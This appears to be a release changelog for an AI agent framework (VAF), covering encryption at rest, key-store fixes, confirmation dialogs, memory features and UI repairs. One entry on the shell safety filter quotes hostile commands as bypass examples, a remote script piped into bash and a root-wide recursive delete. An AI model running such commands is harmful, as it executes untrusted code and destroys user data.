stop a runaway loop, even though one instance serves several people plus
automations and background thinking from your keys. Each call is now
estimated and written to a per-user daily ledger, and
spend_budget_usd_per_day(admin-only, off by default) ends a turn once that
user reaches their cap, naming the setting in the message. The figure is an
estimate and says so: a model that is not in the price table is deliberately
priced high, and the ledger counts how often it had to guess. - Hands-off mode for admins. A new admin-only setting,
tool_confirmation_bypass_admins(off by default), lets an admin run
confirmation-gated tools without being asked each time. It skips only the
question: who may call what is still decided by the admin-only rules and the
per-account tool list, an application that explicitly demands a prompt still
gets one, and every skipped dialog is recorded as an event, so hands-off does
not mean unobserved.
Fixed
- Saying the agent's name is never answered with silence any more. On a
live call, a speaker the voice check did not recognize as the owner could
address the agent by name - twice - and get nothing back: the small local
model ignored its "you were addressed, answer" instruction and the safety
net that overrides such silent drops only protected recognized owners. It
now covers every turn that clearly addresses the agent; the reply is a short
spoken "say that again" that grants nothing (all action rules still require
the verified voice). The dropped speaker in the live incident was in fact
the owner, mislabeled by a short noisy clip - exactly the case the net is
for. - A finished answer no longer waits minutes for an invisible check. After
the reply is already on screen, a small internal check decides whether the
agent just asked you a question. On API providers that check had no time
limit of its own and could sit silently for minutes while the stop button
stayed lit (observed live: 343 seconds, with no trace in any log). It is now
hard-bounded at a few seconds, falls back to a simple text check when it
cannot answer in time, and writes a log line either way. - A confirmation you granted no longer speaks for everyone on the machine.
Answering "always" wrote a single shared file, so on a LAN instance that
permission was armed for every other user too - silently, because a standing
permission skips the dialog before anything is logged. Permissions are stored
per user now. The old shared file is set aside rather than inherited, so the
next dangerous tool asks once more, for you alone. - Loop-protection notes no longer look like something you wrote. When a
turn hit its tool budget, the framework appended its stop notice to the
conversation as a user message, so it was saved with the session, could
become the session's title, counted towards compaction and reappeared as a
chat bubble of yours after a reload. It is stored as a system note now; what
the model is told is unchanged. - One local mode sent the conversation unrepaired. Of the three ways VAF
reaches a model, the in-process local one (Linux with Python 3.12 and no
llama-server, e.g. a fresh Ubuntu install) skipped every pre-send repair: a
half-finished tool call could stay in the history, images were never turned
into text, the memory context silently vanished, and turns that were meant to
run without tools still got them. It now goes through the same preparation as
the other two. - The confirmation dialog can no longer show something other than what runs.
Arguments went to the dialog raw, so a text-direction control character could
visually reverse a command, an access token was displayed in full, and a
command cut at 300 characters looked exactly like a short one. Hidden
characters are now shown as visible markers, secrets are replaced (the
surrounding option is kept, so you still see what was passed), a cut says so,
and shell commands carry a plain-language note of what they do. The terminal
prompt and the TUI modal show the arguments at all now - until today they
asked you to approve a tool name. - The shell safety filter no longer blocks ordinary work while letting the
dangerous cases through. It matched substrings, sorm -rf /tmp/scratch
was refused (the text containsrm -rf /) whilecurl http://x | bash,
rm -rf /with a double space, and a command that builds its executable
from a substitution all ran. It now reads the command the way a shell does -
quote-aware, following pipes and substitutions - and judges what would
actually execute. The coder's jailed shell and the machine's confirmed shell
get different verdicts, because one runs inside a network-less sandbox and
the other does not, and every refusal now says which property triggered it. - Output no longer kills a program on Windows. When output is redirected -
into a file, a pipe, or a build log - Windows uses a narrow character set that
cannot represent a checkmark, an emoji, or anything a model might reply with.
Printing one ended the program. The command line already protected itself;
the runnable examples and the maintenance scripts did not, so one of the
examples died on the first encrypted file it tried to show. All of them now
share one fix, and a test catches the next one in under a second instead of
after half an hour on the Windows build. - A notification in the Logs window now shows where it came from. The dot on
the sidebar counts everything in the security log, but the window worked out
its own number by adding up the firewall, channel and skill counters - so an
event belonging to none of them, such as the warning that the memory database
still uses the shipped default password, lit the dot outside and marked
nothing inside. Both read the same number now, so a new kind of event can
never again arrive unannounced. - A first start can no longer mint two different master keys. Bringing up the
tray and the background workers at once meant several processes resolving the
encryption key simultaneously, and two that minted at the same moment both
wrote it - the later one winning. Anything the earlier one had already
encrypted was then unreadable for good, with no error anywhere. The key is
created once now, under a machine-wide lock, and a process that loses the race
adopts the winner's key instead of overwriting it. - Setting a password can no longer paper over a lost key store. Writing the
admin password's offline copy went straight into the key store without the
check every other write performs, so on a machine whose store had gone missing
it quietly created a fresh one - after which everything looked healthy while
the keys that open the actual data were gone. It now refuses, and points at the
recovery key. - Encryption at rest now behaves on Windows and macOS, not only on Linux.
The feature had been designed and tested on one platform, and two of its
assumptions were POSIX assumptions. On Windowschmodcannot restrict who may
read a file at all, so the master key now goes into the Credential Manager
there - where your Windows login protects it - instead of into a file VAF
cannot protect; Linux and macOS keep the owner-only file, becausechmodis
real there and both OS keyrings can lock the app out of its own data. Renaming
a file into place is also not the same operation on Windows: it fails while
another program has the file open, which for a virus scanner or a search
indexer is routine, so every store write now retries briefly instead of losing
a chat. The threat table in the documentation states what holds per platform
rather than giving one answer for all three. - A recovery key can no longer be lost the moment it is created. VAF wrote
the key file first and the note that contains the key second, so if the note
could not be written - a Desktop macOS has denied access to, a
OneDrive-redirected Desktop, a full disk - the result was a recovery file that
nothing on earth could open, whilevaf secure statusreported the recovery
key as set up and never tried again. The note is written first now, and
nothing is stored unless it succeeded. - The Redis password left the installation folder. It was written to a
.envbeside the program files, which on Windows is frequently outside your
user profile and therefore readable by every account on the machine, and which
editors offer to load into every terminal they open. It now lives with the
other keys in~/.vaf/compose.env, and an existing file loses only that line. - Redirecting output no longer walks past the terminal password.
vaf session export <id> > chat.txtskipped the prompt entirely, because the
gate asked whether output was a terminal as well as input. Exporting your
chats is exactly what that gate is for. - The terminal app encrypts existing chats like the other start paths. The
defaultvaf runlane never ran the at-rest migration, so a terminal-only
user kept plaintext chats indefinitely while the tray and the other CLI lanes
converted theirs. vaf startno longer exits immediately on Windows, where it waited for a
signal in a way that only exists on Unix and took the background service down
with it a second later.- The Context Window showed another lane's goal, plan and tasks. The panel
asked the backend for "the agent's brain" without naming a chat, and the
server then answered from a shared store that scheduled automations and other
session-less lanes write into - so an open conversation could display a
morning-weather automation's instructions next to an unrelated timer's plan,
while its own working memory sat unread. It now asks for the open chat and
refetches when you switch chats. The same endpoint had no login check at all,
which on a local-network install meant anyone who could reach the port could
read the agent's working memory; it now requires a session you own. - A long turn no longer pushes the chat sideways. The row of step dots under
a turn drew one dot per step with no limit, so a turn with ninety steps ran
wider than the window and put the whole conversation into horizontal scroll.
It now shows the first ten and the last three with the gap marked, and the
count beside it still names the total.
Added
- Your chats are encrypted on disk. Everything VAF stores about a
conversation - the chat records, the pre-compression archives, hand-off
bundles, sub-agent task text and the agent's working memory - is now written
as AES-256-GCM ciphertext instead of readable JSON. If the laptop is stolen or
the SSD ends up somewhere else, the passwords, keys and doctor's or lawyer's
matters in those chats are not readable. The key is held by the machine in an
owner-only file, so the agent still starts and works on its own after a
reboot; on installs that start VAF from inside the desktop session, setting
secure_store_kek_backend = "keyring"before the first start creates it in
the OS keyring instead, which your login password protects. Chats written
before this keep opening, and are re-written encrypted the next time they are
saved.file_encryption_enabledturns it off for anyone whose storage already
does this. Full threat table, including what it deliberately does NOT cover:
docs/security/ENCRYPTION_AT_REST.md. - A recovery key, so a reinstall is not the end of your chats. The moment
the keys are created, VAF writesVAF-BackThisUp.mdto your Desktop: one
256-bit recovery key plus plain instructions. With it and a copy of two small
key files you can open your data on a completely new machine
(vaf secure recover) - without it, a lost operating-system login means the
encrypted chats are gone, and nobody can help. The note says in its first line
that it is itself a key and belongs somewhere other than that Desktop. - All encryption keys left
config.json. The memory key, the mail key, the
GitHub key, the token signing secret and the master key used to sit in
plaintext in the same file tree as the data they protect, which made
"encrypted at rest" mean very little. They now live in one encrypted keyring
whose master key is an owner-only file of its own (or the OS keyring, if you
opt in withsecure_store_kek_backend), and API keys no longer keep a
plaintext copy behind either. A one-timeconfig.json.pre-keyring.bakis
written before anything is removed, so a downgrade stays possible.
vaf secure statusshows where every key is. - The terminal asks for your password.
vaf run, the TUI and the whole
vaf sessiongroup now require the admin password before starting - the web
UI always did, the terminal never did, andvaf session exportprints the
very chats the encryption protects. Scripts,vaf run -p, the tray,
automations and background workers are never prompted; they run inside the
protected area already. Verified against a hash stored locally, so a stopped
database cannot lock you out.cli_password_gateturns it off. vaf secure-statussays where each key lives, what is still
unprotected and which files have to be backed up together on THIS machine;
recoverputs the data key back after a reinstall using the recovery key; and
rotate-dbreplaces the shipped default database password (verified before it
is saved, so a half-finished rotation cannot lock you out).- A runnable example for the storage modes -
examples/08_session_storage_and_encryption.pywalks the four decisions an
embedder makes (plaintext, plaintext with several tenants, encrypted, and
recovery after the machine key is deleted) against a throwaway home directory.
It needs no model, no API key and no network, and greps the raw bytes to show
what is and is not readable on disk. - Cross Chat Hint: the agent can point at your other chats. Below the memory
snippets it now gets up to two short pointers into your OTHER still-existing
chats when they match your question by keyword, so "we worked on a PDF the
other day" can find the chat where that happened. The long-term memory could
never answer this: session summaries are stored without the chat they came
from. Matching is lexical and reads the session files directly, so it also
works while the memory database is down, and it is umlaut-tolerant and reaches
into German compounds (Reisekostenabrechnungfinds a chat about
Reisekosten). A single hit on an everyday word produces nothing. Hints come
only from chats you own, never from a deleted one, and never from a
conversation with a contact; background runs, front-office turns and voice
calls get none at all. Visible as its own section in the RAG snippets panel,
with the number of hints per turn in Settings -> Persona & Memory, and
inspectable with
vaf memory cross-chat --query "...". New keys:cross_chat_hint_enabled,
cross_chat_hint_k,cross_chat_hint_min_terms,cross_chat_hint_min_score,
cross_chat_hint_max_age_days. memory_searchnow also searches your other chats. Asking "when did we talk
about X?" or "which chat was that in?" gets a second, clearly separated section
listing the chats a topic appears in, with the chat's name and how long ago it
was. The saved-facts half could never answer that - stored memories do not
record which conversation they came from. Because this half reads the chat files
rather than the database, the tool keeps answering when the memory service is
down instead of only reporting the outage. The same switch as above turns it off.- Breaking-change contract tests embedders can run in their own CI. The
stable embedding surface documented in EMBEDDING.md ("What is and isn't
stable") is now pinned by an offline, self-contained pytest suite under
tests/contract/- one file per contract module (facade exports,Agent,
CoreAgent,BaseTool/user_jail,ToolCaller/ToolRequest, the account
allowlist resolver,vaf.markers,extract_pdf_markdown, the session/turn
context API, and thevaf.toolsentry-point group). Vendor the directory
from the tag you build against and run it against any newer VAF release: a
failure means that release breaks the promised surface. The suite isolates
itself from your real home and config directories when run standalone; see
tests/contract/README.md.
Fixed
- Encrypted stores close behind themselves. Reading accepted files without
the encryption header, so that older chats keep opening - correct during the
changeover, and a hole if it stayed on: anyone able to write into the store
could put a plain file there and it would be read as if it were yours. Once a
startup pass finds nothing unencrypted left, VAF stops accepting plain files
(allow_plaintext_at_rest). Also: the recovery note is now excluded from the
agent's own file tools and indexer, which would otherwise have read the
recovery key and stored it in the memory database, and it ships one encoding
of that key instead of two - the word list carried fewer bits than the file
claimed and had no checksum. - Log files stop collecting your conversations in the clear. The full
assembled system prompt - your profile, retrieved memories, working memory,
contacts - was written toprompt_*.logon every build, with debug logging on
by default. That is off now (prompt_log_full_enabled). Logs also default to
the data directory beside your other VAF data instead of the source checkout,
which on at least one machine meant an unencrypted disk;VAF_DEV_LOGS=1
brings the old location back for development. - Old conversation snapshots no longer pile up forever. The pre-compression
archives were only cleaned when VAF shut down cleanly, so a crash or a killed
tray left them for good - thousands of files, each a fuller copy of a chat
than the chat itself. They are now swept by age
(context_archive_max_age_days, default 14), and finished sub-agent task
files are deleted instead of accumulating. - The master key no longer hides where the app cannot reach it. It defaulted
to the operating system's keyring, which is the stronger place - and is
unreachable from the background process that actually runs VAF, because the
tray is started without a desktop session. The first real restart spent 295
failed attempts on it. The default is now an owner-only file beside the other
VAF data, protected by whatever disk encryption sits underneath;
secure_store_kek_backend = "keyring"opts back in for installs that start
VAF from the desktop session, and an unreachable keyring now falls back to a
file copy instead of locking the app out. - Data could be encrypted with a key that was never saved. When the
read-back after writing a new key did not show it, the code handed out the
copy it still held in memory. Whatever was encrypted with it became
unreadable the moment that process exited - and the next start found
ciphertext it could not open, which correctly stopped the migration and left
it stuck. A key that is not in the store is now an error, not a value to use. - A second process could make the key store unreadable while every write
reported success. Each process cached the key that opens the store for its
own lifetime. When another one re-wrapped that store - which happens the
first time each key is used - the first kept sealing its writes with the
outdated key: the write went through, the lock was held, nothing looked
wrong, and the result was a store nobody could open, including the process
that had just written it. On a live machine that showed up as 34 successful
key writes that left nothing behind, and a migration that then refused to run
at all. The cache is now checked against the store's key file on every use. - A missing key store is treated as a loss, not as a fresh start. VAF now
records that an installation has a keyring, so if that store later disappears
it refuses to create a new key and points at the recovery key. Without
that, a lost store looked exactly like a first run - and because the old
plaintext copies inconfig.jsonare cleared during the move, the new key
quietly replaced the only one that could still open the encrypted memories.
Observed twice in one real start before this landed. - A key that cannot be stored is an error, not a reason to make another one.
When the key store could not be written, every following call minted a fresh
key and tried again. Nothing was lost this time because no write ever landed,
but one that had would have made everything encrypted before it unreadable.
The write now fails loudly, and the "minted a new key" line is written after
the key is actually stored rather than before. - The rollback copy of
config.jsonsurvives until the move is proven. It
was deleted as soon asconfig.jsonheld no keys - which is briefly true even
when the new store could not be written at all. It now waits until the key
store opens and actually contains the keys. - Redis and Postgres. The cache that holds decrypted memory ran with no
password at all; it now gets one from the keyring. VAF also warns when the
database still uses the password that ships with the project. - The memory block no longer piles up inside a single turn. The retrieved
memories were merged into the first system message in place, and for API
providers that message is the stored history entry, so every tool round-trip
of the same turn appended the whole block again: one archived conversation
carried a 145,000-character system message with 24 copies of it. The block is
now built into a copy of the message, which leaves the history clean and keeps
the prompt the size it looks. The empty-response retry also forwards the
memories instead of silently retrying without them. - Session search only searches your own chats.
vaf session searchwalked
every session file on the machine with no owner check, so on a shared
installation it could print other people's chat text. It now runs under the
caller's identity, on the same strict-ownership walker the rest of the session
reads use. - The interactive lanes stop writing attached files into the chat record.
Typing@some/fileinlines that file for the turn, and the expanded text was
what got saved as your message, so whole files (an.env, a contract) ended up
inside the session JSON as if you had typed them. What you typed is what is
stored now, exactly as the web lane already did it. - "Remember this" no longer gets flagged as something the agent made up.
Asking the agent to save a fact ran the save, stored it, and then tripped
the anti-confabulation guard: the reply "Saved." was declared unearned and
the agent was forced to correct an answer that was true. The cause was a
classification error.memory_savewrites to the memory store and counts as
a real action everywhere else, but the grounding rule counted it as
note-taking, and because saving is irreversible the plan gate forces a plan
call into the same turn, leaving a turn that looks like nothing but
note-taking. The rule now covers only the working-memory tools it was
written for. A wrongly forced correction could also send the turn off course:
in the reported case the agent, told its confirmation was fiction, offered to
deliver the answer over a messaging channel that was never asked for. - Your memory encryption key can no longer be silently replaced. The
config file is written by several processes at once, and a reader that
caught it mid-write saw an empty file, concluded "no key yet" and minted a
fresh one - permanently locking every already-encrypted memory. Config
writes are now atomic (a reader always sees a complete file), concurrent
writers are serialized, a save that omits the key keeps the stored one, and
the key loader re-reads the raw file and refuses to mint while the file
cannot be parsed. Minting a first-run key is now logged loudly. - A rotated memory key is recoverable:
vaf memory rekey. If memories
show "[Decryption failed]" because the key changed, the new command
re-encrypts every affected row from a config backup that still carries the
previous key (dry-run first; rows neither key opens are counted and never
touched). - Learning the same PDF twice is refused, not duplicated. The content
checksum of every finished document is stored with it; clicking learn again
on a byte-identical file (even re-uploaded under a new name) now answers
"already learned" with the stored numbers, and the button shows the learned
state. A deliberate re-learn stays available via force_relearn. - Table-of-contents pages are no longer learned as knowledge. Learning a
document skipped nothing before: the contents/list-of-tables pages became
stored "knowledge" full of dot leaders and wasted one model call each. They
are now detected and skipped in both the learning and the attachment
indexing lane, and the completion message names how many were skipped. - Clicking a tag now lists its memories where you can use them. The tag's
memories appear in the Memory Search panel as a result list and stay there
while you click through them, instead of vanishing the moment you opened the
first one. A new search, another tag or the clear button replaces the list.
Memory tag chips open the same list, which also makes tags usable on a phone,
where the graph is hidden. - The memory graph shows ALL memories again. It used to load only the 100
most recently changed entries, so learning a large document pushed every
older memory out of sight. The graph now renders the whole store of the
current user on a WebGL canvas (force-directed layout, node size by
connections, labels on zoom, click a legend entry to filter a type) and
updates right after a document finishes learning. The Settings preview
shows the same renderer (the old boxed copy could freeze on large stores),
and labels adapt to dark mode. - The agent no longer "thinks without answering". Some API models
intermittently emit their tool call as plain text instead of through the
tool channel; the turn then ended with a visible thought and nothing else,
because nothing was executed and the raw text was hidden. This leaked shape
is now recognized and executed like a normal tool call - keeping the
provider's own call id, which the follow-up request requires. - Scanned PDFs no longer poison the memory. A scanned document of four or
more pages never triggered the OCR fallback, because the check mistook the
extractor's own page markers for text - so learning such a document stored
bare page scaffolding as knowledge. The check now counts real content, and
when OCR cannot run, the answer names the actual reason (a missing Tesseract
used to be reported as an empty document) instead of staying silent. - Reading a huge PDF no longer eats gigabytes. The PDF reader kept every
page in memory until the end - measured 9 GB for a 1000-page book. Pages are
now released as they are read: same output, byte for byte, at 0.7 GB.
Added
- Scanned PDFs work out of the box - and Windows is no longer a special
case. Text recognition for scans now has two engines: Tesseract (free,
local - the installers set it up on every platform, including Windows via
winget, with the German language pack) and the vision model (reads each page
with one model call, using your Vision setting - no system install at all).
The default picks Tesseract when present, else the vision model, and an
explicit choice in Settings never silently runs the other one. The
GPL-licensed poppler dependency is gone entirely: page images come straight
from the PDF or a permissively licensed renderer that ships as a normal
Python package. - A learn button on every attached document. Once a chat attachment
finishes indexing, a button on its row starts learning it into long-term
memory - no chat command needed. Attached documents are stored as real files
now, which is also what makes "learn this attachment" work at all: the old
advice pointed at a path that did not exist. A banner shows the batch
progress with a cancel, and the button reflects the state (learning /
learned). - Learning a large document finally learns the whole document. Learning a
PDF silently kept the first 200 pages and 40 sections - 4% of a 1000-page
book - and reported success. Learning now runs as a background job in
batches: the banner shows "batch N of M", the terminal app shows the same
numbers, and the finish message reports exactly what was learned (pages of
total, sections, pages without text). An interrupted or stopped run
continues where it left off instead of starting over or storing duplicates,
and a document that changed on disk since is refused with a clear message
instead of being silently mixed with the old knowledge. Caps still exist,
but only if you set them - and when one fires, the answer names it. - "Read pages 100-120" of a PDF now actually works. The tip existed, the
feature did not: every PDF read took the first 50 pages and silently cut the
rest. Both read lanes accept a page range now, and every PDF answer says
honestly which pages of how many it covers and how to continue - instead of
a bare "(truncated)". - Large uploads no longer kill the connection silently. On the desktop
and LAN paths, attaching a file above roughly 12 MB dropped the WebSocket
mid-upload with nothing but the reconnect banner - the 200 MB frame ceiling
existed on one server entry point only. Every server the app starts now
shares the same ceiling, and attachments above 100 MB per file are refused
up front with a message naming the file and the limit. - A local model that can see images finally does. Local vision only
worked if you had explicitly set the vision provider to "local" - leaving
it on its default meant the local server started without the image
bridge, and the agent answered that images are not supported while the
settings looked correct. The empty setting now means what it means
everywhere else: use whatever the main agent uses, if it can see images. A
chosen cloud provider still wins, and still handles the images itself. - Turning local vision on takes effect without restarting VAF. The image
bridge is chosen when the model server starts, and a server that was
already running got reused as long as it held the right model - so the new
setting changed nothing until something else happened to restart it. VAF
now notices that the running server cannot see and restarts it. - Voice input stops blaming faster-whisper for everything. The error
"faster-whisper not installed" was shown for any import problem at all,
including an installed faster-whisper whose native part refuses to load -
a common case on macOS. The message now names the setting that led there
and the actual reason, so the search starts in the right place. - Picking a cloud speech provider no longer leaves a local engine behind.
Choosing a provider on top of an earlier "Local" pick kept the engine on
"Local", so the day the key stopped working the microphone dropped into an
engine that is not part of the standard installation, while the settings
showed a cloud provider. A cloud provider now also switches the engine back,
and one place decides where recorded audio goes - the two microphones (web
and terminal) used to decide it differently. - The local speech engine can be installed at all now. Settings offered
"Local" speech recognition for an engine that no installer delivered.
It is part of the speech extra from now on:pip install "vaf[speech]",
and the option says so. - A created file is shown on the answer it came with. An image you attached,
or a file the agent wrote, appeared as a chip under the PREVIOUS answer -
every time from the second message on, not just occasionally. The file was
announced while its own answer was still being written, and the chat had to
guess which message it belonged to. Every answer and every file now says which
exchange it belongs to, so the chip waits for its own answer instead of
landing on the one before it. The same file is also no longer shown twice, a
file produced during a longer agent turn no longer disappears from view, and a
coding agent that finishes minutes later still finds the right message.
Fixed
-
The Overview headline no longer runs into the module list. On a Mac at the
usual laptop widths, "Keine Auffaelligkeiten" was drawn straight across the
status dots beside it. The text column claimed it could shrink to 200 pixels
while 160 of those were reserved for the shield next to it, so the headline was
handed 40 pixels and simply painted past them. It now says what it actually
needs, so the panel stacks the way it already did on narrower screens, and a
long word breaks rather than overflowing. Nothing moves on wide screens. -
The shield gets out of the way in a narrow window. It is anchored to the
middle of the protection panel, which is right while the headline and the
status rows sit side by side. Once the panel stacks, that middle IS the status
list, so the big shield sat behind the rows. Stacked, it now sits level with
the headline, to its left, and shrinks to match it, glow and all. Wide windows
are unchanged. -
Repair waits while the containers are still starting. Right after VAF
starts, the services are on their way up and do not answer yet, which read as
a fault and invited a repair that would only have restarted what was already
booting. The button now counts down and says the containers are starting, the
overview says the same, and a repair leaves a booting container alone. The
wait is each container's own start window, so it is thirty seconds for the
database and two minutes for the speech services rather than one guess for
everything.
Added
- Health and updates, in the Logs overview. A new row under Guardrails shows
whether your services are connected and lights up amber when an update is
waiting; clicking it opens the same Update and Repair dialog as Settings. It
reads the update answer from disk, so opening Logs never asks GitHub anything. - See what one user did. Next to the date in the Logs window, an admin can
now pick a user and read that person's timeline and tool calls alone. It
appears once a machine has more than one account. Two deliberate honesty
points: a name that matches nobody shows nothing rather than everything, and
entries that carry no user - background work, and anything logged before this
release stamped identities - are counted and named under the filter instead of
quietly disappearing into someone's empty day. - Update and Repair, at the bottom of Settings -> Advanced. One dialog for
the two things that used to need a terminal. On the right, your containers as
a map: green means the service answers, not merely that it runs, so a
container that is up while VAF cannot reach it stops looking healthy. Amber
covers the case that used to be the hardest to see, a container publishing a
different port than the configuration expects. Everything that is not green is
listed with a Repair button that starts what is stopped, restarts what does
not answer, and says in plain words what it cannot fix by itself. On the left,
the installed version and when updates were last checked, a button to check
now, and, when there is something newer, the new version with an Update now
button. The update runs by itself: VAF stops, updates, and starts again, and
the page waits for it and reloads when it is back. It refuses instead of
half-updating when it cannot finish the job, and says why. vaf repairin the terminal,/repairin the terminal app. The same
check and repair run, withvaf repair --checkreporting the status without
changing anything. Nothing is ever removed and no configuration is rewritten:
a port that disagrees with the configuration is reported with both numbers,
never silently corrected.
Changed
- The Debug Logs switch is gone from Settings. Debug logging is on by
default and stays on; turning it off is a deliberate opt-out via
debug_logs_enabledinconfig.json, not a toggle to trip over. The Logs
page's empty states name that config key now, so a config with it off does
not dead-end pointing at a switch that no longer exists.